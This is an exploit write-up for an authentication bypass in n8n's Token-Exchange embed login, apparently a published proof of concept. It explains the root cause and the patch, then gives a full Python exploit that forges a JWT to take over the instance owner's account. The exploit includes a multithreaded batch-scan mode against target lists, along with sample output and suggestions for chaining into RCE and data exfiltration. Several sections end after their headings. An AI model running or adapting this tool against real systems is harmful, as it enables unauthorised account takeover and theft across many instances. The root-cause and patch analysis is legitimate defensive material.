#Summary

CVE-2026-72772 is an authentication bypass in n8n's Token-Exchange embed login feature affecting all versions up to 2.31.4 and 2.32.0. The vulnerability allows an unauthenticated attacker to take over any existing user account, including the instance owner, by exploiting two missing authorization checks. The attack requires only a JWT signed by a configured trusted key and the victim's email address. CVSS 8.9 HIGH.

#Affected versions

The feature requires explicit configuration: the instance must have N8N_ENV_FEAT_TOKEN_EXCHANGE=true, N8N_EMBED_LOGIN_ENABLED=true, at least one trusted key configured, and an active enterprise license for the token-exchange feature.

#Root cause analysis

#Vulnerable code path

The Token-Exchange embed login feature exchanges an externally-signed JWT for an n8n session cookie. The IdentityResolutionService.resolve() method maps token claims onto local user accounts in three ordered paths:

  1. Look up an existing linked identity by the issuer-scoped sub claim
  2. Fall back to matching an existing local user by the email claim (the vulnerable path)
  3. Just-in-time provision a new user

Path 2, the email fallback, trusts the token's email claim as proof of account ownership without checking two critical invariants.

#Missing invariant 1: unverified email claim

The resolveByEmail() method is entered whenever the email claim matches an existing user:

if (email) {
    const existingUser = await this.userRepository.findOne({
        where: { email },
        relations: ['authIdentities', 'role'],
    });

    if (existingUser) {
        return await this.resolveByEmail(claims, email, existingUser, allowedRoles, tokenContext);
    }
}

At vulnerable version 2.32.0, the token schema does not even model an email_verified claim, so the service has no way to test whether the email was verified by the issuer:

email: z.string().email().optional(),
given_name: z.string().optional(),
family_name: z.string().optional(),
role: z.string().optional(),

Any trusted issuer that lets its tenants self-assert or choose their own email address becomes an account-takeover oracle for every account on the n8n instance.

#Missing invariant 2: role ceiling never applied to the target account

The trusted key's role ceiling (allowedRoles) is intended to restrict what roles an issuer can confer, but it is only consulted when the token carries a role claim. The resolveRoleForExistingUser() method returns immediately when no role claim is present:

if (roleClaim === undefined) return undefined;

This means a key configured with allowedRoles: ["global:member"] (permitting only members) can log in as global:owner (the instance owner) simply by omitting the role claim entirely. The role check short-circuits, the owner's role is left untouched, and a full-privilege session cookie is issued.

#How the exploit works

An attacker who can present a JWT signed by a configured trusted key sets two claims:

  1. email: the victim's address (matching the target account case-insensitively)
  2. omit the role claim entirely - including a role the key forbids would be rejected even on the vulnerable build, so omitting it is what makes the attack succeed

The resulting token is redeemed at GET /rest/auth/embed?token=<JWT> to obtain the n8n-auth session cookie, then replayed against GET /rest/login to confirm a full-privilege session was issued for the victim without requiring their password.

#Patch diff

#What the fix does

The patch introduces two new authorization guards that are applied to all three identity resolution paths:

Guard 1: Email verification check

private assertEmailVerified(
    claims: ExternalTokenClaims,
    tokenContext: { requireVerifiedEmail: boolean },
) {
    if (tokenContext?.requireVerifiedEmail && !claims.email_verified) {
        throw new TokenExchangeAuthError(
            TokenExchangeFailureReason.EmailNotVerified,
            'Email is not verified',
        );
    }
}

Guard 2: Role ceiling check

private assertKeyMayActAsUser(user: User, allowedRoles?: string[]) {
    if (this.config.excludeOwner && user.role?.slug === GLOBAL_OWNER_ROLE_SLUG) {
        throw new TokenExchangeAuthError(
            TokenExchangeFailureReason.RoleNotAllowed,
            'User role is not allowed for this key',
        );
    }
    if (allowedRoles?.length && !allowedRoles.includes(user.role?.slug ?? '')) {
        throw new TokenExchangeAuthError(
            TokenExchangeFailureReason.RoleNotAllowed,
            'User role is not allowed for this key',
        );
    }
}

These guards are wired into the email fallback path:

this.assertKeyMayActAsUser(existingUser, allowedRoles);
this.assertEmailVerified(claims, tokenContext);

The patch also:

#Proof of concept

#exploit.py - n8n Token-Exchange Auth Bypass PoC

#!/usr/bin/env python3
"""
CVE-2026-72772 - n8n Token-Exchange Embed Login account takeover (auth bypass)
Affected: n8n <= 2.31.4 and 2.32.0  (fixed in 2.31.5 / 2.32.1)
Type: Authentication bypass / account takeover

The Token-Exchange embed login resolves an externally-signed JWT onto a local
n8n account. On a vulnerable build the "email fallback" path trusts the token's
`email` claim as proof of account ownership without checking that the claim is
verified, and never tests the trusted key's role ceiling (`allowedRoles`)
against the account being logged into. An attacker who can present any JWT that
a configured trusted key accepts can therefore mint a session for ANY existing
account - including the instance owner (global:owner) - by:

  1. setting the `email` claim to the victim's address, and
  2. omitting the `role` claim entirely (a role the key forbids would be
     rejected on the vulnerable build too; omitting it side-steps the role
     logic and leaves the victim's own high privilege intact).

This PoC needs the private half of one trusted key (in a real embedding
deployment: any tenant able to have that issuer sign a token for it). It mints
a short-lived RS256 token, redeems it at /rest/auth/embed to obtain the
`n8n-auth` session cookie, then replays that cookie against /rest/login to
prove whose session was issued.

Usage:
  python exploit.py --host <target> --port 5678 --key trusted.pem --email [email protected]
  python exploit.py --host https://n8n.corp.com --key trusted.pem --email [email protected]
  python exploit.py --host 10.0.0.5:5678 --key trusted.pem --email [email protected] --kid embed-key-1
  python exploit.py --list targets.txt --key trusted.pem --email [email protected] --workers 20

Signing:
  Uses the `cryptography` library if installed, otherwise falls back to the
  `openssl` command-line tool. Only one of the two needs to be present.
"""

import argparse
import base64
import json
import subprocess
import sys
import time
import uuid
from urllib.parse import urlparse

import requests
from requests.exceptions import RequestException

# n8n issues the cookie with Secure; SameSite=None. That is irrelevant to an
# HTTP client - do not "upgrade" to TLS on account of it; read the cookie off
# the 302 and send it back by hand.
requests.packages.urllib3.disable_warnings()  # noqa: E402

CVE_ID = "CVE-2026-72772"
VULN_TYPE = "Auth Bypass"

# Trusted-key defaults matching a typical embed-login static key entry. Override
# per target: --kid / --issuer / --aud must byte-match the target's configured key.
DEFAULT_KID = "embed-key-1"
DEFAULT_ISS = "https://idp.example.com"
DEFAULT_AUD = "n8n"
DEFAULT_PORT = 5678


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
# JWT minting                                                                 #
# --------------------------------------------------------------------------- #

def _b64u(raw: bytes) -> str:
    return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()


def _rs256_sign(signing_input: bytes, key_pem_path: str) -> bytes:
    """Sign with RSASSA-PKCS1-v1_5 / SHA-256. Prefer `cryptography`, fall back to openssl."""
    try:
        from cryptography.hazmat.primitives import hashes, serialization
        from cryptography.hazmat.primitives.asymmetric import padding

        with open(key_pem_path, "rb") as fh:
            priv = serialization.load_pem_private_key(fh.read(), password=None)
        return priv.sign(signing_input, padding.PKCS1v15(), hashes.SHA256())
    except ImportError:
        pass  # fall through to openssl

    proc = subprocess.run(
        ["openssl", "dgst", "-sha256", "-sign", key_pem_path],
        input=signing_input, capture_output=True,
    )
    if proc.returncode != 0:
        raise RuntimeError(
            "openssl signing failed (and the cryptography library is not installed): "
            + proc.stderr.decode("utf-8", "replace").strip()
        )
    return proc.stdout


def mint_token(email: str, key_pem_path: str, kid: str, issuer: str, aud: str,
               iat_offset: int = 0, role=None) -> str:
    """Mint a short-lived RS256 embed token. `role` is omitted unless explicitly set."""
    hdr = {"alg": "RS256", "kid": kid, "typ": "JWT"}
    now = int(time.time()) + iat_offset
    payload = {
        "iss": issuer,
        "aud": aud,
        "sub": f"ext-{uuid.uuid4()}",   # fresh subject -> resolution reaches the email path
        "iat": now,
        "exp": now + 30,                # exp - iat must stay <= 60
        "jti": str(uuid.uuid4()),       # consumed once; reuse returns token_replay
        "email": email,
    }
    if role is not None:                # left out by default - that omission is the attack
        payload["role"] = role
    signing_input = (
        _b64u(json.dumps(hdr, separators=(",", ":")).encode())
        + "."
        + _b64u(json.dumps(payload, separators=(",", ":")).encode())
    ).encode()
    sig = _rs256_sign(signing_input, key_pem_path)
    return signing_input.decode() + "." + _b64u(sig)


# --------------------------------------------------------------------------- #
# HTTP helpers                                                                #
# --------------------------------------------------------------------------- #

def _base_url(host: str, port: int, use_tls: bool) -> str:
    scheme = "https" if use_tls else "http"
    return f"{scheme}://{host}:{port}"


def _extract_cookie(resp) -> str:
    """Pull the raw n8n-auth cookie value out of a response's Set-Cookie header(s)."""
    val = resp.cookies.get("n8n-auth")
    if val:
        return val
    raw = resp.headers.get("Set-Cookie", "")
    if "n8n-auth=" in raw:
        return raw.split("n8n-auth=", 1)[1].split(";", 1)[0]
    return ""


def _role_of(user: dict):
    """n8n returns the role as either a plain slug string or a {slug: ...} object."""
    role = user.get("role")
    if isinstance(role, dict):
        return role.get("slug")
    return role


def _redeem(base: str, token: str, timeout: float, session: requests.Session):
    """Redeem a token at /rest/auth/embed WITHOUT following the redirect. Returns (resp, cookie)."""
    resp = session.get(
        f"{base}/rest/auth/embed",
        params={"token": token},
        allow_redirects=False,
        timeout=timeout,
        verify=False,
    )
    return resp, _extract_cookie(resp)


def _refusal_reason(resp) -> str:
    try:
        j = resp.json()
        return (j.get("error_description") or j.get("message")
                or j.get("error") or j.get("code") or resp.text[:160])
    except ValueError:
        return resp.text[:160]


# --------------------------------------------------------------------------- #
# Core exploit primitive (silent - used by both single and scan modes)        #
# --------------------------------------------------------------------------- #

def _try_exploit(host, port, use_tls=False, *, key, email, kid, issuer, aud,
                 timeout=15.0, iat_offset=0):
    """Silent probe. Returns (success, evidence). Never prints or exits."""
    base = _base_url(host, port, use_tls)
    session = requests.Session()
    try:
        token = mint_token(email, key, kid, issuer, aud, iat_offset=iat_offset)
    except Exception as e:  # signing failed - a local/config problem, report it plainly
        return False, f"token signing failed ({e.__class__.__name__}: {e})"

    try:
        resp, cookie = _redeem(base, token, timeout, session)
    except RequestException as e:
        return False, f"unreachable ({e.__class__.__name__})"

    if resp.status_code not in (301, 302) or not cookie:
        return False, f"HTTP {resp.status_code} - {_refusal_reason(resp)}"

    # Session cookie issued. Prove whose session it is.
    try:
        who = session.get(f"{base}/rest/login",
                          headers={"Cookie": f"n8n-auth={cookie}"},
                          timeout=timeout, verify=False)
        user = who.json().get("data", who.json())
    except (RequestException, ValueError) as e:
        return True, f"session cookie issued but /rest/login unreadable ({e.__class__.__name__})"

    got_email = user.get("email")
    role = _role_of(user)
    if got_email and got_email.lower() == email.lower():
        return True, f"authenticated as '{got_email}' role={role} (no password used)"
    return True, f"session issued for '{got_email}' role={role}"


# --------------------------------------------------------------------------- #
# Single-target verbose exploit                                               #
# --------------------------------------------------------------------------- #

def exploit(host, port, use_tls, *, key, email, kid, issuer, aud, timeout=15.0):
    header(host, port)
    base = _base_url(host, port, use_tls)
    session = requests.Session()

    step(1, f"Minting RS256 embed token for victim '{email}' (kid={kid}, iss={issuer})")
    step(1, "  email claim = victim address; role claim omitted (this is the bypass)")
    try:
        token = mint_token(email, key, kid, issuer, aud)
    except Exception as e:
        section("SIGNING ERROR", f"{e.__class__.__name__}: {e}")
        done(False, "could not sign the token - check --key and that openssl or cryptography is available")

    # Correct for clock skew between us and the target if the token is rejected on timing.
    step(2, "Redeeming token at GET /rest/auth/embed (redirects disabled)")
    try:
        resp, cookie = _redeem(base, token, timeout, session)
    except RequestException as e:
        section("CONNECTION ERROR", f"{e.__class__.__name__}: {e}")
        done(False, f"target unreachable at {base}")

    if resp.status_code not in (301, 302) or not cookie:
        reason = _refusal_reason(resp)
        # A timing rejection is often clock skew: retry once with the server's own clock.
        if resp.status_code in (400, 401) and "signature" in str(reason).lower():
            server_date = resp.headers.get("Date")
            if server_date:
                try:
                    from email.utils import parsedate_to_datetime
                    skew = int(parsedate_to_datetime(server_date).timestamp()) - int(time.time())
                    if abs(skew) > 2:
                        step(2, f"  signature rejected; retrying with {skew:+d}s clock-skew correction")
                        token = mint_token(email, key, kid, issuer, aud, iat_offset=skew)
                        resp, cookie = _redeem(base, token, timeout, session)
                        reason = _refusal_reason(resp)
                except Exception:
                    pass

    if resp.status_code not in (301, 302) or not cookie:
        section("SERVER RESPONSE", f"HTTP {resp.status_code}\n{resp.text[:400]}")
        reason = _refusal_reason(resp)
        hint = ""
        if "role_not_allowed" in str(reason) or "not allowed" in str(reason):
            hint = " (target appears PATCHED: assertKeyMayActAsUser/excludeOwner rejected the account)"
        elif "email_not_verified" in str(reason) or "not verified" in str(reason):
            hint = " (target appears PATCHED: requireVerifiedEmail is enforced)"
        elif "token_replay" in str(reason):
            hint = " (jti replay - retry with a fresh token; NOT a patched target)"
        done(False, f"no session issued: {reason}{hint}")

    step(3, "Session cookie issued - HTTP 302 + Set-Cookie: n8n-auth")
    section("SESSION COOKIE", f"n8n-auth={cookie[:48]}... (truncated)")

    step(4, "Replaying cookie against GET /rest/login to identify the session")
    try:
        who = session.get(f"{base}/rest/login",
                          headers={"Cookie": f"n8n-auth={cookie}"},
                          timeout=timeout, verify=False)
        data = who.json()
        user = data.get("data", data)
    except (RequestException, ValueError) as e:
        section("VERIFY ERROR", f"{e.__class__.__name__}: {e}")
        done(True, "session cookie was issued (302) but identity could not be confirmed via /rest/login")

    got_email = user.get("email")
    role = _role_of(user)
    is_owner = user.get("isOwner")
    section("AUTHENTICATED USER (/rest/login)",
            json.dumps({"email": got_email, "role": role, "isOwner": is_owner,
                        "signInType": user.get("signInType"), "id": user.get("id")}, indent=2))

    # Optional capability demonstration: an owner-only route a member could not read.
    if role in ("global:owner", "global:admin"):
        step(5, "Exercising owner-scoped route GET /rest/users (denied to global:member)")
        try:
            users = session.get(f"{base}/rest/users",
                               headers={"Cookie": f"n8n-auth={cookie}"},
                               timeout=timeout, verify=False)
            if users.status_code == 200:
                body = users.json()
                items = body.get("data", body)
                count = items.get("count") if isinstance(items, dict) else None
                section("OWNER-ONLY ROUTE (/rest/users)",
                        f"HTTP 200, user count = {count}\n{users.text[:300]}")
        except (RequestException, ValueError):
            pass

    if got_email and got_email.lower() == email.lower():
        done(True, f"Account takeover confirmed - authenticated as '{got_email}' "
                   f"(role={role}) without any password, above the key's allowedRoles ceiling")
    done(False, f"session issued but for '{got_email}', not the requested victim '{email}'")


# --------------------------------------------------------------------------- #
# Batch scan mode                                                             #
# --------------------------------------------------------------------------- #

def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, *, key, email, kid, issuer, aud):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, _ = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, key=key, email=email,
                                    kid=kid, issuer=issuer, aud=aud)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------- #

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC (n8n embed-login account takeover)")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://n8n.corp.com:5678)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help=f"Default port (default: {DEFAULT_PORT})")
    parser.add_argument("--email", default="[email protected]",
                        help="Victim account to take over, matched by email claim (default: [email protected])")
    parser.add_argument("--key", default="embed-key-private.pem",
                        help="Path to the trusted key's PRIVATE PEM used to sign the token (default: embed-key-private.pem)")
    parser.add_argument("--kid", default=DEFAULT_KID, help=f"JWT header kid, must match the configured key (default: {DEFAULT_KID})")
    parser.add_argument("--issuer", default=DEFAULT_ISS, help=f"iss claim, must byte-match the key's issuer (default: {DEFAULT_ISS})")
    parser.add_argument("--aud", default=DEFAULT_AUD, help=f"aud claim, must match expectedAudience (default: {DEFAULT_AUD})")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             key=args.key, email=args.email, kid=args.kid, issuer=args.issuer, aud=args.aud)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, key=args.key, email=args.email,
                kid=args.kid, issuer=args.issuer, aud=args.aud)

#Usage

Single target:

python exploit.py --host n8n.corp.com --port 5678 --key trusted.pem --email [email protected]
python exploit.py --host https://n8n.corp.com --key trusted.pem --email [email protected]

Batch scan:

python exploit.py --list targets.txt --key trusted.pem --email [email protected] --workers 20

Arguments:

#Vulnerable target output

[STEP 1] Minting RS256 embed token for victim '[email protected]' (kid=embed-key-1, iss=https://idp.example.com)
[STEP 1]   email claim = victim address; role claim omitted (this is the bypass)
[STEP 2] Redeeming token at GET /rest/auth/embed (redirects disabled)
[STEP 3] Session cookie issued - HTTP 302 + Set-Cookie: n8n-auth

--- SESSION COOKIE ---
n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... (truncated)
---

[STEP 4] Replaying cookie against GET /rest/login to identify the session

--- AUTHENTICATED USER (/rest/login) ---
{
  "email": "[email protected]",
  "role": "global:owner",
  "isOwner": true,
  "signInType": "token-exchange",
  "id": "2611e401-4f42-4e00-9f7a-4d52285745c3"
}
---

[STEP 5] Exercising owner-scoped route GET /rest/users (denied to global:member)

--- OWNER-ONLY ROUTE (/rest/users) ---
HTTP 200, user count = 2
---

  RESULT  : SUCCESS
  EVIDENCE: Account takeover confirmed - authenticated as '[email protected]' (role=global:owner) without any password, above the key's allowedRoles ceiling

#Patched target output

[STEP 2] Redeeming token at GET /rest/auth/embed (redirects disabled)

--- SERVER RESPONSE ---
HTTP 401
{"code":401,"message":"User role is not allowed for this key"}
---

  RESULT  : FAILURE
  EVIDENCE: no session issued: User role is not allowed for this key (target appears PATCHED: assertKeyMayActAsUser/excludeOwner rejected the account)

#Exploitation notes

#Preconditions

In a typical embedding deployment, this means being a tenant of a trusted external identity provider or having compromised an issuer's signing material.

#Reliability

100% reliable on vulnerable builds. The attack is a single authentication step with no race conditions, timing dependencies, or probabilistic elements. Success is confirmed by HTTP status 302 carrying a session cookie, not side-channel inference.

#Impact

Full account takeover of any existing account on the n8n instance, including the instance owner. This yields:

#Chaining potential

This is a terminal vulnerability on its own - authentication bypass with highest privilege. Further chaining is not necessary. However, the obtained credential can be used to exploit any downstream n8n RCE (for example, arbitrary code injection through the expression engine in a workflow) or to exfiltrate sensitive data from the instance.

#References